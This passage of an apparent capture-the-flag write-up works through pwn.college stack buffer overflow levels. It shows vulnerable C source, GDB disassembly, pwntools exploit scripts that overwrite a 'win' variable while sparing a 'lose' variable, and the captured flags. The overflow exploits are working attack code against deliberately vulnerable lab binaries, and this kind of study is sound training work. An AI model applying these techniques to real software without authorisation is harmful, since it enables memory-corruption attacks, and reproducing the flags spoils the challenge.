challenge(argc, argv, envp);

}
hacker@binary-exploitation~precision-easy:/$ /challenge/binary-exploitation-lose-variable-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffe5e0a5000 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007ffe5e0a5008 (rsp+0x0008) | d8 61 0a 5e fe 7f 00 00 | 0x00007ffe5e0a61d8 |
| 0x00007ffe5e0a5010 (rsp+0x0010) | c8 61 0a 5e fe 7f 00 00 | 0x00007ffe5e0a61c8 |
| 0x00007ffe5e0a5018 (rsp+0x0018) | a0 16 95 88 01 00 00 00 | 0x00000001889516a0 |
| 0x00007ffe5e0a5020 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5028 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5030 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5038 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5040 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5048 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5050 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5058 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5060 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5068 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5070 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe5e0a5078 (rsp+0x0078) | 00 00 00 00 fe 7f 00 00 | 0x00007ffe00000000 |
| 0x00007ffe5e0a5080 (rsp+0x0080) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffe5e0a5088 (rsp+0x0088) | 00 c8 97 f9 5f ff 4e e2 | 0xe24eff5ff997c800 |
| 0x00007ffe5e0a5090 (rsp+0x0090) | d0 60 0a 5e fe 7f 00 00 | 0x00007ffe5e0a60d0 |
| 0x00007ffe5e0a5098 (rsp+0x0098) | 4e 28 40 00 00 00 00 00 | 0x000000000040284e |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffe5e0a5000, and our base pointer points to 0x7ffe5e0a5090.
This means that we have (decimal) 20 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 160 bytes.
The input buffer begins at 0x7ffe5e0a5030, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 68 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffe5e0a5074, 68 bytes after the start of your input buffer.

But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you
will not get the flag. Be careful not to overwrite this variable.

The "lose" variable is stored at 0x7ffe5e0a5078, 72 bytes after the start of your input buffer.

We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffe5e0a5030 (the start of the input buffer)
right up to (but not including) 0x7ffe5e0a6030 (which is 4028 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!

In this challenge we have to overflow the buffer such that we overwrite the win variable which is at a distance of 68 bytes from the buffer. However, we have to be careful as to not overwrite the lose variable at a distance of 72 bytes from the buffer.

Exploit

~/script.py
from pwn import *

padding = b'A' * 68
payload = padding + p64(0x42424242)

p = process('/challenge/binary-exploitation-lose-variable-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~precision-easy:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-lose-variable-w': pid 2598
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (2.63KB)
[*] Process '/challenge/binary-exploitation-lose-variable-w' stopped with exit code 0 (pid 2598)

You sent 76 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd7677b000 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007ffd7677b008 (rsp+0x0008) | d8 c1 77 76 fd 7f 00 00 | 0x00007ffd7677c1d8 |
| 0x00007ffd7677b010 (rsp+0x0010) | c8 c1 77 76 fd 7f 00 00 | 0x00007ffd7677c1c8 |
| 0x00007ffd7677b018 (rsp+0x0018) | a0 26 6b 0d 01 00 00 00 | 0x000000010d6b26a0 |
| 0x00007ffd7677b020 (rsp+0x0020) | 00 00 00 00 4c 00 00 00 | 0x0000004c00000000 |
| 0x00007ffd7677b028 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffd7677b030 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b038 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b040 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b048 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b050 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b058 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b060 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b068 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd7677b070 (rsp+0x0070) | 41 41 41 41 42 42 42 42 | 0x4242424241414141 |
| 0x00007ffd7677b078 (rsp+0x0078) | 00 00 00 00 fd 7f 00 00 | 0x00007ffd00000000 |
| 0x00007ffd7677b080 (rsp+0x0080) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffd7677b088 (rsp+0x0088) | 00 a7 58 78 94 44 fa e6 | 0xe6fa44947858a700 |
| 0x00007ffd7677b090 (rsp+0x0090) | d0 c0 77 76 fd 7f 00 00 | 0x00007ffd7677c0d0 |
| 0x00007ffd7677b098 (rsp+0x0098) | 4e 28 40 00 00 00 00 00 | 0x000000000040284e |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffd7677b030
- the saved frame pointer (of main) is at 0x7ffd7677b090
- the saved return address (previously to main) is at 0x7ffd7677b098
- the saved return address is now pointing to 0x40284e.
- the canary is stored at 0x7ffd7677b088.
- the canary value is now 0xe6fa44947858a700.
- the address of the win variable is 0x7ffd7677b074.
- the value of the win variable is 0x42424242.
- the address of the lose variable is 0x7ffd7677b078.
- the value of the lose variable is 0x0.

You win! Here is your flag:
pwn.college{kUQmLFVxRrOM4JIJ8uq2TK8Hl_w.QX0AzNwEDL4ITM0EzW}


Goodbye!

 

Precision (hard)

hacker@binary-exploitation~precision-hard:/$ ls /challenge/
DESCRIPTION.md binary-exploitation-lose-variable

This time we are not provided with any source code.

hacker@binary-exploitation~precision-hard:/$ /challenge/binary-exploitation-lose-variable 
Send your payload (up to 4096 bytes)!

Same as before we need some necessary information before we perform buffer overflow:

  • Location of the buffer
  • Location of the win variable
  • Location of the lose variable

Nothing in the program print statements either.

Disassembly

Let's load the program in GDB, and checkout the functions.

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 __errno_location@plt
0x00000000004010f0 puts@plt
0x0000000000401100 write@plt
0x0000000000401110 __stack_chk_fail@plt
0x0000000000401120 printf@plt
0x0000000000401130 geteuid@plt
0x0000000000401140 read@plt
0x0000000000401150 setvbuf@plt
0x0000000000401160 open@plt
0x0000000000401170 exit@plt
0x0000000000401180 strerror@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 bin_padding
0x0000000000401d3b win
0x0000000000401e42 challenge
0x0000000000401f67 main
0x0000000000402020 __libc_csu_init
0x0000000000402090 __libc_csu_fini
0x0000000000402098 _fini

challenge()

(gdb) disassemble challenge
Dump of assembler code for function challenge:
0x0000000000401e42 <+0>: endbr64
0x0000000000401e46 <+4>: push rbp
0x0000000000401e47 <+5>: mov rbp,rsp
0x0000000000401e4a <+8>: sub rsp,0xc0
0x0000000000401e51 <+15>: mov DWORD PTR [rbp-0xa4],edi
0x0000000000401e57 <+21>: mov QWORD PTR [rbp-0xb0],rsi
0x0000000000401e5e <+28>: mov QWORD PTR [rbp-0xb8],rdx
0x0000000000401e65 <+35>: mov rax,QWORD PTR fs:0x28
0x0000000000401e6e <+44>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401e72 <+48>: xor eax,eax
0x0000000000401e74 <+50>: lea rdx,[rbp-0x90]
0x0000000000401e7b <+57>: mov eax,0x0
0x0000000000401e80 <+62>: mov ecx,0x11
0x0000000000401e85 <+67>: mov rdi,rdx
0x0000000000401e88 <+70>: rep stos QWORD PTR es:[rdi],rax
0x0000000000401e8b <+73>: mov QWORD PTR [rbp-0x98],0x0
0x0000000000401e96 <+84>: mov QWORD PTR [rbp-0x98],0x1000
0x0000000000401ea1 <+95>: mov rax,QWORD PTR [rbp-0x98]
0x0000000000401ea8 <+102>: mov rsi,rax
0x0000000000401eab <+105>: lea rdi,[rip+0x125e] # 0x403110
0x0000000000401eb2 <+112>: mov eax,0x0
0x0000000000401eb7 <+117>: call 0x401120 <printf@plt>
0x0000000000401ebc <+122>: mov rdx,QWORD PTR [rbp-0x98]
0x0000000000401ec3 <+129>: lea rax,[rbp-0x90]
0x0000000000401eca <+136>: mov rsi,rax
0x0000000000401ecd <+139>: mov edi,0x0
0x0000000000401ed2 <+144>: call 0x401140 <read@plt>
0x0000000000401ed7 <+149>: mov DWORD PTR [rbp-0x9c],eax
0x0000000000401edd <+155>: cmp DWORD PTR [rbp-0x9c],0x0
0x0000000000401ee4 <+162>: jns 0x401f12 <challenge+208>
0x0000000000401ee6 <+164>: call 0x4010e0 <__errno_location@plt>
0x0000000000401eeb <+169>: mov eax,DWORD PTR [rax]
0x0000000000401eed <+171>: mov edi,eax
0x0000000000401eef <+173>: call 0x401180 <strerror@plt>
0x0000000000401ef4 <+178>: mov rsi,rax
0x0000000000401ef7 <+181>: lea rdi,[rip+0x123a] # 0x403138
0x0000000000401efe <+188>: mov eax,0x0
0x0000000000401f03 <+193>: call 0x401120 <printf@plt>
0x0000000000401f08 <+198>: mov edi,0x1
0x0000000000401f0d <+203>: call 0x401170 <exit@plt>
0x0000000000401f12 <+208>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401f15 <+211>: test eax,eax
0x0000000000401f17 <+213>: je 0x401f2f <challenge+237>
0x0000000000401f19 <+215>: lea rdi,[rip+0x1240] # 0x403160
0x0000000000401f20 <+222>: call 0x4010f0 <puts@plt>
0x0000000000401f25 <+227>: mov edi,0x1
0x0000000000401f2a <+232>: call 0x401170 <exit@plt>
0x0000000000401f2f <+237>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401f32 <+240>: test eax,eax
0x0000000000401f34 <+242>: je 0x401f40 <challenge+254>
0x0000000000401f36 <+244>: mov eax,0x0
0x0000000000401f3b <+249>: call 0x401d3b <win>
0x0000000000401f40 <+254>: lea rdi,[rip+0x1239] # 0x403180
0x0000000000401f47 <+261>: call 0x4010f0 <puts@plt>
0x0000000000401f4c <+266>: mov eax,0x0
0x0000000000401f51 <+271>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000401f55 <+275>: xor rcx,QWORD PTR fs:0x28
0x0000000000401f5e <+284>: je 0x401f65 <challenge+291>
0x0000000000401f60 <+286>: call 0x401110 <__stack_chk_fail@plt>
0x0000000000401f65 <+291>: leave
0x0000000000401f66 <+292>: ret
End of assembler dump.

Again, we have some interesting code snippets:

# --- snip ---

0x0000000000401ebc <+122>: mov rdx,QWORD PTR [rbp-0x98]
0x0000000000401ec3 <+129>: lea rax,[rbp-0x90]
0x0000000000401eca <+136>: mov rsi,rax
0x0000000000401ecd <+139>: mov edi,0x0
0x0000000000401ed2 <+144>: call 0x401140 <read@plt>

# --- snip ---

read@plt is called, and the value pointed to by rsi is the location of the stack.

# --- snip ---

0x0000000000401f12 <+208>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401f15 <+211>: test eax,eax
0x0000000000401f17 <+213>: je 0x401f2f <challenge+237>
0x0000000000401f19 <+215>: lea rdi,[rip+0x1240] # 0x403160
0x0000000000401f20 <+222>: call 0x4010f0 <puts@plt>
0x0000000000401f25 <+227>: mov edi,0x1
0x0000000000401f2a <+232>: call 0x401170 <exit@plt>
0x0000000000401f2f <+237>: mov eax,DWORD PTR [rbp-0x10]

# --- snip ---

The program checks if the data pointed to by rbp-0xc is zero. If yes, it jumps to challenge+237 over the exit@plt call and continues the flow of execution. The value pointed to by rbp-0xc is the lose variable.

# --- snip ---

0x0000000000401f2f <+237>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000401f32 <+240>: test eax,eax
0x0000000000401f34 <+242>: je 0x401f40 <challenge+254>
0x0000000000401f36 <+244>: mov eax,0x0
0x0000000000401f3b <+249>: call 0x401d3b <win>
0x0000000000401f40 <+254>: lea rdi,[rip+0x1239] # 0x403180

# --- snip ---

The program moves the data pointed to by rbp-0x10 into eax, and then checks if it is zero. If the check succeeds, it jumps to challenge+254, effectively skipping the win function.

Let's set the necessary breakpoints to obtain the values during runtime.

(gdb) break *(challenge+144)
Breakpoint 1 at 0x401ed2
(gdb) break *(challenge+208)
Breakpoint 2 at 0x401f12
(gdb) break *(challenge+237)
Breakpoint 3 at 0x401f2f

Now, we can run the program, and get the location of the buffer once the first breakpoint is hit.

Breakpoint 1, 0x0000000000401ed2 in challenge ()
(gdb) p/x $rsi
$1 = 0x7ffd493badf0
  • Location of the buffer: 0x7ffd493badf0
  • Location of the win variable
  • Location of the lose variable

Let's continue until we hit the next breakpoint.

(gdb) c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, 0x0000000000401f12 in challenge ()
(gdb) x/dw $rbp-0xc
0x7ffd493bae74: 0
  • Location of the buffer: 0x7ffd493badf0
  • Location of the win variable
  • Location of the lose variable: 0x7ffd493bae74
(gdb) c
Continuing.

Breakpoint 3, 0x0000000000401f2f in challenge ()
(gdb) x/dw $rbp-0x10
0x7ffd493bae70: 0
  • Location of the buffer: 0x7ffd493badf0
  • Location of the win variable: 0x7ffd493bae70
  • Location of the lose variable: 0x7ffd493bae74

Now that we have the necessary information, let's calculate the distances of both the variables from the buffer.

(gdb) p/d 0x7ffd493bae70 - 0x7ffd493badf0
$2 = 128
(gdb) p/d 0x7ffd493bae74 - 0x7ffd493badf0
$3 = 132

Distance of win from buffer is 128 bytes, whereas the distance of lose from buffer is 132 bytes.

Exploit

~/script.py
from pwn import *

padding = b'A' * 128
payload = padding + p64(0x42424242)

p = process('/challenge/binary-exploitation-lose-variable')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~precision-hard:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-lose-variable': pid 18391
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (100B)
[*] Process '/challenge/binary-exploitation-lose-variable' stopped with exit code 0 (pid 18391)

You win! Here is your flag:
pwn.college{IPfy649KYZgjMdD2hLbyC7mLWxq.QX1AzNwEDL4ITM0EzW}


Goodbye!

 

Variable Control (easy)

Source code

/challenge/binary-exploitation-var-control-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 2717; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[75];
int win_variable;
int lose_variable;
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 75);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, if you can set variable to 0x5d6e8736, the flag will be printed.\n");
printf("You can change this variable by overflowing the input buffer, but keep endianness in mind!\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));

puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you");
puts("will not get the flag. Be careful not to overwrite this variable.\n");
printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

FIND_CANARY(cp_, cv_, bp_);

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 75);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("- the address of the lose variable is %p.\n", &data.lose_variable);
printf("- the value of the lose variable is 0x%x.\n", data.lose_variable);
printf("\n");

if (data.lose_variable)
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if (data.win_variable == 1567524662)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}
hacker@binary-exploitation~variable-control-easy:/$ /challenge/binary-exploitation-var-control-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffdcbef5db0 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007ffdcbef5db8 (rsp+0x0008) | 88 6f ef cb fd 7f 00 00 | 0x00007ffdcbef6f88 |
| 0x00007ffdcbef5dc0 (rsp+0x0010) | 78 6f ef cb fd 7f 00 00 | 0x00007ffdcbef6f78 |
| 0x00007ffdcbef5dc8 (rsp+0x0018) | a0 76 ee 2d 01 00 00 00 | 0x000000012dee76a0 |
| 0x00007ffdcbef5dd0 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5dd8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5de0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5de8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5df0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5df8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e00 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e08 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e10 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e18 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e20 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e28 (rsp+0x0078) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e30 (rsp+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffdcbef5e38 (rsp+0x0088) | 00 9f 33 dd 48 67 9e 32 | 0x329e6748dd339f00 |
| 0x00007ffdcbef5e40 (rsp+0x0090) | 80 6e ef cb fd 7f 00 00 | 0x00007ffdcbef6e80 |
| 0x00007ffdcbef5e48 (rsp+0x0098) | e3 25 40 00 00 00 00 00 | 0x00000000004025e3 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffdcbef5db0, and our base pointer points to 0x7ffdcbef5e40.
This means that we have (decimal) 20 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 160 bytes.
The input buffer begins at 0x7ffdcbef5de0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 75 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, if you can set variable to 0x5d6e8736, the flag will be printed.
You can change this variable by overflowing the input buffer, but keep endianness in mind!
The "win" variable is stored at 0x7ffdcbef5e2c, 76 bytes after the start of your input buffer.

But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you
will not get the flag. Be careful not to overwrite this variable.

The "lose" variable is stored at 0x7ffdcbef5e30, 80 bytes after the start of your input buffer.

We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffdcbef5de0 (the start of the input buffer)
right up to (but not including) 0x7ffdcbef6de0 (which is 4021 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!

In this challenge we have to overflow the buffer such that we overwrite the win variable which is at a distance of 76 bytes from the buffer and set it to 0x5d6e8736. However, we have to be careful as to not overwrite the lose variable at a distance of 80 bytes from the buffer.

Exploit

~/script.py
from pwn import *

padding = b'A' * 76
payload = padding + p64(0x5d6e8736)

p = process('/challenge/binary-exploitation-var-control-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()

hacker@binary-exploitation~variable-control-easy:/$ python ~/script.py
[+] Starting local process '/challenge/binary-exploitation-var-control-w': pid 5855
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (2.63KB)
[*] Process '/challenge/binary-exploitation-var-control-w' stopped with exit code 0 (pid 5855)

You sent 84 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007fffda82cc90 (rsp+0x0000) | 01 00 00 00 04 00 00 00 | 0x0000000400000001 |
| 0x00007fffda82cc98 (rsp+0x0008) | 68 de 82 da ff 7f 00 00 | 0x00007fffda82de68 |
| 0x00007fffda82cca0 (rsp+0x0010) | 58 de 82 da ff 7f 00 00 | 0x00007fffda82de58 |
| 0x00007fffda82cca8 (rsp+0x0018) | a0 c6 da 97 01 00 00 00 | 0x0000000197dac6a0 |
| 0x00007fffda82ccb0 (rsp+0x0020) | 00 00 00 00 54 00 00 00 | 0x0000005400000000 |
| 0x00007fffda82ccb8 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007fffda82ccc0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccc8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccd0 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccd8 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cce0 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cce8 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccf0 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82ccf8 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cd00 (rsp+0x0070) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffda82cd08 (rsp+0x0078) | 41 41 41 41 36 87 6e 5d | 0x5d6e873641414141 |
| 0x00007fffda82cd10 (rsp+0x0080) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
